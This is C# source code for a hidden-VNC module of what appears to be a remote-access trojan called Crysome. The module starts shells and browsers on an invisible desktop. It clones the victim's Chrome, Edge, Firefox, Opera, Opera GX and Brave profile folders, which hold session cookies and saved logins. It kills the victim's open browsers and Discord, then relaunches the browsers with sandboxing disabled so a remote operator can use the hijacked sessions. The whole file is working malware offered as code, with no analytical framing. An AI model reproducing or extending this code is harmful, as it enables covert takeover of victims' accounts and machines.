774 lines
18 KiB
C#
774 lines
18 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Management;
|
|
using System.Runtime.InteropServices;
|
|
using System.Security.Principal;
|
|
using System.Threading;
|
|
using System.Threading.Tasks;
|
|
using Microsoft.Win32;
|
|
|
|
namespace Crysome.Client.Hvnc;
|
|
|
|
internal sealed class HvncProcessHandler
|
|
{
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
|
private struct STARTUPINFO
|
|
{
|
|
public int cb;
|
|
|
|
public string lpReserved;
|
|
|
|
public string lpDesktop;
|
|
|
|
public string lpTitle;
|
|
|
|
public int dwX;
|
|
|
|
public int dwY;
|
|
|
|
public int dwXSize;
|
|
|
|
public int dwYSize;
|
|
|
|
public int dwXCountChars;
|
|
|
|
public int dwYCountChars;
|
|
|
|
public int dwFillAttribute;
|
|
|
|
public int dwFlags;
|
|
|
|
public short wShowWindow;
|
|
|
|
public short cbReserved2;
|
|
|
|
public IntPtr lpReserved2;
|
|
|
|
public IntPtr hStdInput;
|
|
|
|
public IntPtr hStdOutput;
|
|
|
|
public IntPtr hStdError;
|
|
}
|
|
|
|
private struct PROCESS_INFORMATION
|
|
{
|
|
public IntPtr hProcess;
|
|
|
|
public IntPtr hThread;
|
|
|
|
public int dwProcessId;
|
|
|
|
public int dwThreadId;
|
|
}
|
|
|
|
private const int CREATE_NEW_CONSOLE = 16;
|
|
|
|
private const int CREATE_UNICODE_ENVIRONMENT = 1024;
|
|
|
|
private readonly string _desktopName;
|
|
|
|
private const string ChromiumFlags = "--no-sandbox --allow-no-sandbox-job --disable-gpu";
|
|
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
|
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
|
|
|
public HvncProcessHandler(string desktopName)
|
|
{
|
|
_desktopName = desktopName;
|
|
}
|
|
|
|
private static bool IsAdmin()
|
|
{
|
|
try
|
|
{
|
|
using WindowsIdentity ntIdentity = WindowsIdentity.GetCurrent();
|
|
return new WindowsPrincipal(ntIdentity).IsInRole(WindowsBuiltInRole.Administrator);
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
public bool StartExplorer()
|
|
{
|
|
string text = "C:\\Windows\\explorer.exe /NoUACCheck";
|
|
if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
|
|
{
|
|
return true;
|
|
}
|
|
return CreateProc(text);
|
|
}
|
|
|
|
public bool StartRunDialog()
|
|
{
|
|
return CreateProc("C:\\Windows\\System32\\rundll32.exe shell32.dll,#61");
|
|
}
|
|
|
|
public bool StartCmd()
|
|
{
|
|
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "cmd.exe");
|
|
text = (string.IsNullOrEmpty(text) ? "cmd.exe" : text);
|
|
if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
|
|
{
|
|
return true;
|
|
}
|
|
return CreateProc(text);
|
|
}
|
|
|
|
public bool StartPowerShell()
|
|
{
|
|
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "WindowsPowerShell", "v1.0", "powershell.exe");
|
|
if (!File.Exists(text))
|
|
{
|
|
text = "powershell.exe";
|
|
}
|
|
if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
|
|
{
|
|
return true;
|
|
}
|
|
return CreateProc(text);
|
|
}
|
|
|
|
public bool StartNotepad()
|
|
{
|
|
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe");
|
|
if (File.Exists(text))
|
|
{
|
|
return CreateProc(text);
|
|
}
|
|
return false;
|
|
}
|
|
|
|
public bool StartCalculator()
|
|
{
|
|
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "calc.exe");
|
|
if (File.Exists(text))
|
|
{
|
|
return CreateProc(text);
|
|
}
|
|
text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32", "calc.exe");
|
|
if (File.Exists(text))
|
|
{
|
|
return CreateProc(text);
|
|
}
|
|
return false;
|
|
}
|
|
|
|
private static string GetRegPath(string keyPath, string valueName = "")
|
|
{
|
|
try
|
|
{
|
|
if (Registry.GetValue(keyPath, valueName, null) is string text)
|
|
{
|
|
string text2 = text.Trim('"');
|
|
if (text2.Contains("\""))
|
|
{
|
|
text2 = text2.Split('"')[1];
|
|
}
|
|
return text2;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return null;
|
|
}
|
|
|
|
public string GetChromePath()
|
|
{
|
|
try
|
|
{
|
|
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry32).OpenSubKey("ChromeHTML\\shell\\open\\command");
|
|
if (registryKey != null && registryKey.GetValue(null) is string text)
|
|
{
|
|
string[] array = text.Split('"');
|
|
return (array.Length >= 2) ? array[1] : null;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return null;
|
|
}
|
|
|
|
public string GetEdgePath()
|
|
{
|
|
try
|
|
{
|
|
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\msedge.exe");
|
|
return registryKey?.GetValue("") as string;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return null;
|
|
}
|
|
|
|
public string GetFirefoxPath()
|
|
{
|
|
try
|
|
{
|
|
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox");
|
|
if (!(registryKey?.GetValue("CurrentVersion") is string text))
|
|
{
|
|
return null;
|
|
}
|
|
using RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox\\" + text + "\\Main");
|
|
return registryKey2?.GetValue("PathToExe") as string;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return null;
|
|
}
|
|
|
|
public string GetOperaPath()
|
|
{
|
|
try
|
|
{
|
|
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet");
|
|
if (registryKey == null)
|
|
{
|
|
return null;
|
|
}
|
|
string[] subKeyNames = registryKey.GetSubKeyNames();
|
|
foreach (string text in subKeyNames)
|
|
{
|
|
if (!text.Contains("Opera") || text.Contains("GX"))
|
|
{
|
|
continue;
|
|
}
|
|
using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command");
|
|
if (registryKey2?.GetValue("") is string text2)
|
|
{
|
|
return text2.Trim('"');
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return null;
|
|
}
|
|
|
|
public string GetOperaGXPath()
|
|
{
|
|
try
|
|
{
|
|
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet");
|
|
if (registryKey == null)
|
|
{
|
|
return null;
|
|
}
|
|
string[] subKeyNames = registryKey.GetSubKeyNames();
|
|
foreach (string text in subKeyNames)
|
|
{
|
|
if (!text.Contains("Opera") || !text.Contains("GX"))
|
|
{
|
|
continue;
|
|
}
|
|
using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command");
|
|
if (registryKey2?.GetValue("") is string text2)
|
|
{
|
|
return text2.Trim('"');
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return null;
|
|
}
|
|
|
|
public string GetBravePath()
|
|
{
|
|
return GetRegPath("HKEY_CLASSES_ROOT\\BraveHTML\\shell\\open\\command");
|
|
}
|
|
|
|
public bool StartChrome()
|
|
{
|
|
string chromePath = GetChromePath();
|
|
if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath))
|
|
{
|
|
return false;
|
|
}
|
|
return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData");
|
|
}
|
|
|
|
public bool StartChromeCloned()
|
|
{
|
|
string chromePath = GetChromePath();
|
|
if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath))
|
|
{
|
|
return false;
|
|
}
|
|
return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData");
|
|
}
|
|
|
|
public bool StartEdge()
|
|
{
|
|
string edgePath = GetEdgePath();
|
|
if (string.IsNullOrEmpty(edgePath) || !File.Exists(edgePath))
|
|
{
|
|
return false;
|
|
}
|
|
return CreateProc("\"" + edgePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\EdgeAutomationData");
|
|
}
|
|
|
|
public bool StartFirefox()
|
|
{
|
|
string firefoxPath = GetFirefoxPath();
|
|
if (string.IsNullOrEmpty(firefoxPath) || !File.Exists(firefoxPath))
|
|
{
|
|
return false;
|
|
}
|
|
return CreateProc("\"" + firefoxPath + "\" -no-remote -profile C:\\FirefoxAutomationData");
|
|
}
|
|
|
|
public bool StartOpera()
|
|
{
|
|
string operaPath = GetOperaPath();
|
|
if (string.IsNullOrEmpty(operaPath) || !File.Exists(operaPath))
|
|
{
|
|
return false;
|
|
}
|
|
return CreateProc("\"" + operaPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaAutomationData");
|
|
}
|
|
|
|
public bool StartOperaGX()
|
|
{
|
|
string operaGXPath = GetOperaGXPath();
|
|
if (string.IsNullOrEmpty(operaGXPath) || !File.Exists(operaGXPath))
|
|
{
|
|
return false;
|
|
}
|
|
return CreateProc("\"" + operaGXPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaGXAutomationData");
|
|
}
|
|
|
|
public bool StartBrave()
|
|
{
|
|
string bravePath = GetBravePath();
|
|
if (string.IsNullOrEmpty(bravePath) || !File.Exists(bravePath))
|
|
{
|
|
return false;
|
|
}
|
|
return CreateProc("\"" + bravePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\BraveAutomationData");
|
|
}
|
|
|
|
private static void KillBrowsersByDefaultProfile(string exeName, string automationDataDir)
|
|
{
|
|
try
|
|
{
|
|
foreach (ManagementObject item in new ManagementObjectSearcher("SELECT ProcessId, CommandLine FROM Win32_Process WHERE Name = '" + exeName + "'").Get())
|
|
{
|
|
if (!(item["CommandLine"]?.ToString() ?? "").Contains(automationDataDir))
|
|
{
|
|
try
|
|
{
|
|
Process.GetProcessById(Convert.ToInt32(item["ProcessId"])).Kill();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
public bool StartDiscord()
|
|
{
|
|
string text = null;
|
|
try
|
|
{
|
|
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Discord");
|
|
text = registryKey?.GetValue("DisplayIcon") as string;
|
|
if (text != null)
|
|
{
|
|
text = text.Trim('"');
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
Process[] processesByName;
|
|
if (string.IsNullOrEmpty(text) || !File.Exists(text))
|
|
{
|
|
text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Discord", "Update.exe");
|
|
if (!File.Exists(text))
|
|
{
|
|
return false;
|
|
}
|
|
processesByName = Process.GetProcessesByName("Discord");
|
|
foreach (Process process in processesByName)
|
|
{
|
|
try
|
|
{
|
|
process.Kill();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
return CreateProc("\"" + text + "\" --processStart Discord.exe");
|
|
}
|
|
processesByName = Process.GetProcessesByName("Discord");
|
|
foreach (Process process2 in processesByName)
|
|
{
|
|
try
|
|
{
|
|
process2.Kill();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
return CreateProc("\"" + text + "\"");
|
|
}
|
|
|
|
private static string UserProfilePath(string rel)
|
|
{
|
|
return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), rel);
|
|
}
|
|
|
|
private static async Task<bool> CopyDirAsync(string sourceDir, string destDir)
|
|
{
|
|
if (string.IsNullOrEmpty(sourceDir) || !Directory.Exists(sourceDir))
|
|
{
|
|
return false;
|
|
}
|
|
try
|
|
{
|
|
if (Directory.Exists(destDir))
|
|
{
|
|
await Task.Run(delegate
|
|
{
|
|
try
|
|
{
|
|
Directory.Delete(destDir, recursive: true);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
});
|
|
}
|
|
await Task.Run(() => Directory.CreateDirectory(destDir));
|
|
foreach (string item in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories))
|
|
{
|
|
string rel = item.Substring(sourceDir.Length + 1);
|
|
await Task.Run(() => Directory.CreateDirectory(Path.Combine(destDir, rel)));
|
|
}
|
|
SemaphoreSlim sem = new SemaphoreSlim(10);
|
|
await Task.WhenAll(Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories).Select((Func<string, Task>)async delegate(string file)
|
|
{
|
|
await sem.WaitAsync();
|
|
try
|
|
{
|
|
string path = file.Substring(sourceDir.Length + 1);
|
|
string dest = Path.Combine(destDir, path);
|
|
await Task.Run(delegate
|
|
{
|
|
try
|
|
{
|
|
File.Copy(file, dest, overwrite: true);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
});
|
|
}
|
|
finally
|
|
{
|
|
sem.Release();
|
|
}
|
|
}));
|
|
return true;
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private static string RecursiveFindDir(string dir, string markerFile)
|
|
{
|
|
if (string.IsNullOrEmpty(dir) || !Directory.Exists(dir))
|
|
{
|
|
return null;
|
|
}
|
|
if (File.Exists(Path.Combine(dir, markerFile)))
|
|
{
|
|
return dir;
|
|
}
|
|
try
|
|
{
|
|
string[] directories = Directory.GetDirectories(dir);
|
|
for (int i = 0; i < directories.Length; i++)
|
|
{
|
|
string text = RecursiveFindDir(directories[i], markerFile);
|
|
if (text != null)
|
|
{
|
|
return text;
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private static async Task<int> FindProcessByCommandLine(string processName, string searchStr)
|
|
{
|
|
return await Task.Run(delegate
|
|
{
|
|
try
|
|
{
|
|
foreach (ManagementObject item in new ManagementObjectSearcher("SELECT * FROM Win32_Process WHERE Name = '" + processName + "'").Get())
|
|
{
|
|
string text = item["CommandLine"]?.ToString();
|
|
if (text != null && text.Contains(searchStr))
|
|
{
|
|
return Convert.ToInt32(item["ProcessId"]);
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return -1;
|
|
});
|
|
}
|
|
|
|
private async Task<bool> CloneChromeAsync()
|
|
{
|
|
return await CopyDirAsync(UserProfilePath("AppData\\Local\\Google\\Chrome\\User Data"), "C:\\ChromeAutomationData");
|
|
}
|
|
|
|
private async Task<bool> CloneEdgeAsync()
|
|
{
|
|
return await CopyDirAsync(UserProfilePath("AppData\\Local\\Microsoft\\Edge\\User Data"), "C:\\EdgeAutomationData");
|
|
}
|
|
|
|
private async Task<bool> CloneFirefoxAsync()
|
|
{
|
|
string text = RecursiveFindDir(UserProfilePath("AppData\\Roaming\\Mozilla\\Firefox\\Profiles"), "addons.json");
|
|
bool flag = text != null;
|
|
if (flag)
|
|
{
|
|
flag = await CopyDirAsync(text, "C:\\FirefoxAutomationData");
|
|
}
|
|
return flag;
|
|
}
|
|
|
|
private async Task<bool> CloneOperaAsync()
|
|
{
|
|
return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera Stable"), "C:\\OperaAutomationData");
|
|
}
|
|
|
|
private async Task<bool> CloneOperaGXAsync()
|
|
{
|
|
return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera GX Stable"), "C:\\OperaGXAutomationData");
|
|
}
|
|
|
|
private async Task<bool> CloneBraveAsync()
|
|
{
|
|
return await CopyDirAsync(UserProfilePath("AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data"), "C:\\BraveAutomationData");
|
|
}
|
|
|
|
private async Task HandleCloneChromeAsync()
|
|
{
|
|
KillBrowsersByDefaultProfile("chrome.exe", "ChromeAutomationData");
|
|
if (!(await CloneChromeAsync()))
|
|
{
|
|
int num = await FindProcessByCommandLine("chrome.exe", "ChromeAutomationData");
|
|
if (num >= 0)
|
|
{
|
|
try
|
|
{
|
|
Process.GetProcessById(num).Kill();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
await CloneChromeAsync();
|
|
}
|
|
}
|
|
Thread.Sleep(1000);
|
|
StartChromeCloned();
|
|
}
|
|
|
|
private async Task HandleCloneEdgeAsync()
|
|
{
|
|
KillBrowsersByDefaultProfile("msedge.exe", "EdgeAutomationData");
|
|
if (!(await CloneEdgeAsync()))
|
|
{
|
|
int num = await FindProcessByCommandLine("msedge.exe", "EdgeAutomationData");
|
|
if (num >= 0)
|
|
{
|
|
try
|
|
{
|
|
Process.GetProcessById(num).Kill();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
await CloneEdgeAsync();
|
|
}
|
|
}
|
|
Thread.Sleep(1000);
|
|
StartEdge();
|
|
}
|
|
|
|
private async Task HandleCloneFirefoxAsync()
|
|
{
|
|
KillBrowsersByDefaultProfile("firefox.exe", "FirefoxAutomationData");
|
|
if (!(await CloneFirefoxAsync()))
|
|
{
|
|
int num = await FindProcessByCommandLine("firefox.exe", "FirefoxAutomationData");
|
|
if (num >= 0)
|
|
{
|
|
try
|
|
{
|
|
Process.GetProcessById(num).Kill();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
await CloneFirefoxAsync();
|
|
}
|
|
}
|
|
Thread.Sleep(1000);
|
|
StartFirefox();
|
|
}
|
|
|
|
private async Task HandleCloneOperaAsync()
|
|
{
|
|
KillBrowsersByDefaultProfile("opera.exe", "OperaAutomationData");
|
|
if (!(await CloneOperaAsync()))
|
|
{
|
|
int num = await FindProcessByCommandLine("opera.exe", "OperaAutomationData");
|
|
if (num >= 0)
|
|
{
|
|
try
|
|
{
|
|
Process.GetProcessById(num).Kill();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
await CloneOperaAsync();
|
|
}
|
|
}
|
|
Thread.Sleep(1000);
|
|
StartOpera();
|
|
}
|
|
|
|
private async Task HandleCloneOperaGXAsync()
|
|
{
|
|
KillBrowsersByDefaultProfile("opera.exe", "OperaGXAutomationData");
|
|
if (!(await CloneOperaGXAsync()))
|
|
{
|
|
int num = await FindProcessByCommandLine("opera.exe", "OperaGXAutomationData");
|
|
if (num >= 0)
|
|
{
|
|
try
|
|
{
|
|
Process.GetProcessById(num).Kill();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
await CloneOperaGXAsync();
|
|
}
|
|
}
|
|
Thread.Sleep(1000);
|
|
StartOperaGX();
|
|
}
|
|
|
|
private async Task HandleCloneBraveAsync()
|
|
{
|
|
KillBrowsersByDefaultProfile("brave.exe", "BraveAutomationData");
|
|
if (!(await CloneBraveAsync()))
|
|
{
|
|
int num = await FindProcessByCommandLine("brave.exe", "BraveAutomationData");
|
|
if (num >= 0)
|
|
{
|
|
try
|
|
{
|
|
Process.GetProcessById(num).Kill();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
await CloneBraveAsync();
|
|
}
|
|
}
|
|
Thread.Sleep(1000);
|
|
StartBrave();
|
|
}
|
|
|
|
public void HandleCloneRequest(byte action)
|
|
{
|
|
Task.Run(async delegate
|
|
{
|
|
_ = 5;
|
|
try
|
|
{
|
|
switch (action)
|
|
{
|
|
case 11:
|
|
await HandleCloneChromeAsync();
|
|
break;
|
|
case 12:
|
|
await HandleCloneEdgeAsync();
|
|
break;
|
|
case 13:
|
|
await HandleCloneFirefoxAsync();
|
|
break;
|
|
case 14:
|
|
await HandleCloneOperaAsync();
|
|
break;
|
|
case 15:
|
|
await HandleCloneOperaGXAsync();
|
|
break;
|
|
case 16:
|
|
await HandleCloneBraveAsync();
|
|
break;
|
|
case 19:
|
|
StartDiscord();
|
|
break;
|
|
case 17:
|
|
case 18:
|
|
break;
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Program.Log("HVNC clone: " + ex.Message);
|
|
}
|
|
});
|
|
}
|
|
|
|
public bool CreateProc(string commandLine)
|
|
{
|
|
if (string.IsNullOrEmpty(commandLine))
|
|
{
|
|
return false;
|
|
}
|
|
STARTUPINFO lpStartupInfo = new STARTUPINFO
|
|
{
|
|
cb = Marshal.SizeOf(typeof(STARTUPINFO)),
|
|
lpDesktop = _desktopName
|
|
};
|
|
PROCESS_INFORMATION lpProcessInformation;
|
|
return CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 1040, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInformation);
|
|
}
|
|
}
|